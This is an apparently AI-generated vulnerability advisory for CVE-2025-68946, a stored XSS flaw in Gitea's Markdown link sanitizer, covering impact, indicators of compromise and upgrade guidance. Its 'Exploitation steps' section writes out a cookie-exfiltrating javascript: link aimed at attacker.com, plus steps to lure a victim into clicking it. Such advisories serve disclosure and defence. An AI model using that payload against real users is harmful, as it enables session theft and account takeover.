CVE-2025-68946
NixOS vulnerability analysis and mitigation

Overview

CVE-2025-68946 is a stored Cross-Site Scripting (XSS) vulnerability in Gitea that allows authenticated attackers to inject forbidden URL schemes (e.g., javascript:, vbscript:) into Markdown links, which are then rendered and executed in victims' browsers. It affects all Gitea versions before 1.20.1 (Go module code.gitea.io/gitea). The vulnerability was publicly disclosed on December 26, 2025, and patched in Gitea v1.20.1 released July 22, 2023 — the CVE was formally assigned and published years after the fix. It carries a CVSS v3.1 base score of 5.4 (Medium) (Github Advisory, Red Hat Bugzilla).

Technical details

The root cause is improper neutralization of user-controlled input during web page generation (CWE-79). Gitea's Markdown sanitizer, powered by the bluemonday library, failed to block dangerous URL schemes in hyperlinks — a regression introduced in v1.20.0 when all URL schemes were allowed by default in Markdown links (PR #24805). An authenticated user could craft a Markdown link using javascript:, vbscript:, or data: URI schemes (e.g., [click me](javascript:alert(1))), which would be rendered as a clickable link in issues, pull requests, comments, wikis, or other Markdown-rendered content. The fix in PR #25960 explicitly disallows javascript, vbscript, and raw data URI schemes in the sanitizer while preserving data: URIs for images (Gitea PR #25960, Github Advisory).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of any user who clicks a malicious link embedded in Gitea content (issues, comments, wikis, pull requests). This can lead to session token theft, credential harvesting, account takeover, or redirection to malicious sites. The scope is changed (cross-component), meaning the impact extends beyond the attacker's own session to other users of the Gitea instance, though availability is not directly affected (Github Advisory, Red Hat Bugzilla).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), placing it in the 1st percentile for exploitation likelihood within 30 days (Github Advisory). Exploitation requires a low-privilege authenticated account and user interaction (a victim must click the malicious link), limiting its practical risk. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been reported.

Exploitation steps

  1. Obtain a low-privilege account: Register or use an existing authenticated account on a vulnerable Gitea instance (version < 1.20.1).
  2. Identify a Markdown-rendered surface: Navigate to any location that renders Markdown content visible to other users — such as an issue, pull request comment, wiki page, or repository README.
  3. Craft a malicious link: Compose a Markdown hyperlink using a forbidden URL scheme, for example: [Click here for details](javascript:document.location='https://attacker.com/?c='+document.cookie) or [link](javascript:alert(document.cookie)).
  4. Submit the content: Post the comment, issue, or wiki edit containing the malicious link. Gitea's unsanitized renderer will preserve the javascript: scheme in the output HTML.
  5. Social engineer the victim: Lure a target user (e.g., a repository maintainer or admin) to view and click the link, triggering JavaScript execution in their browser context.
  6. Harvest session data: The executed script can exfiltrate session cookies, authentication tokens, or perform actions on behalf of the victim within the Gitea instance (Gitea PR #25960, Github Advisory).

Indicators of compromise

  • Logs: Gitea access logs showing requests to issue/comment/wiki endpoints containing URL-encoded strings like javascript%3A, vbscript%3A, or data%3A in POST body parameters.
  • Content Review: Presence of Markdown links with javascript:, vbscript:, or data: URI schemes in issues, pull request comments, wiki pages, or README files on Gitea instances running versions < 1.20.1.
  • Network: Outbound requests from victim browsers to unexpected external domains shortly after viewing Gitea content, potentially carrying cookie or token data in query parameters.
  • Browser: Unexpected JavaScript alert dialogs or redirects when clicking links within Gitea rendered content.

Mitigation and workarounds

The primary remediation is to upgrade Gitea to version 1.20.1 or later, which explicitly disallows javascript:, vbscript:, and raw data: URI schemes in Markdown link sanitization (Gitea v1.20.1 Release, Gitea PR #25960). No configuration-based workaround is available for versions prior to 1.20.1 without patching. Administrators unable to upgrade immediately should restrict write access to trusted users only and monitor Markdown content for suspicious link patterns.

Community reactions

Red Hat tracked the vulnerability via their Bugzilla system (Bug 2425468) and assigned it medium severity, though no Red Hat products were directly affected (Red Hat Bugzilla). The GitHub Advisory Database published the advisory (GHSA-hq57-c72x-4774) on December 26, 2025, rating it Moderate. Community reaction was limited given the low EPSS score and the fact that the patch had already been available since July 2023; the CVE assignment appears to have been a retroactive formal disclosure.

Additional resources


SourceThis report was generated using AI

Related NixOS vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-13097HIGH8.7
  • NixOS logoNixOS
  • freeipa-common
NoYesAug 20, 2026
CVE-2026-73198HIGH7.5
  • NixOS logoNixOS
  • ctdb-ceph-mutex
NoYesAug 20, 2026
CVE-2026-73197HIGH7.5
  • NixOS logoNixOS
  • ipa-server-trust-ad
NoYesAug 20, 2026
CVE-2026-73196MEDIUM6.5
  • NixOS logoNixOS
  • freeipa-server-dns
NoYesAug 20, 2026
CVE-2026-64777MEDIUM4.3
  • NixOS logoNixOS
  • container
NoYesAug 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management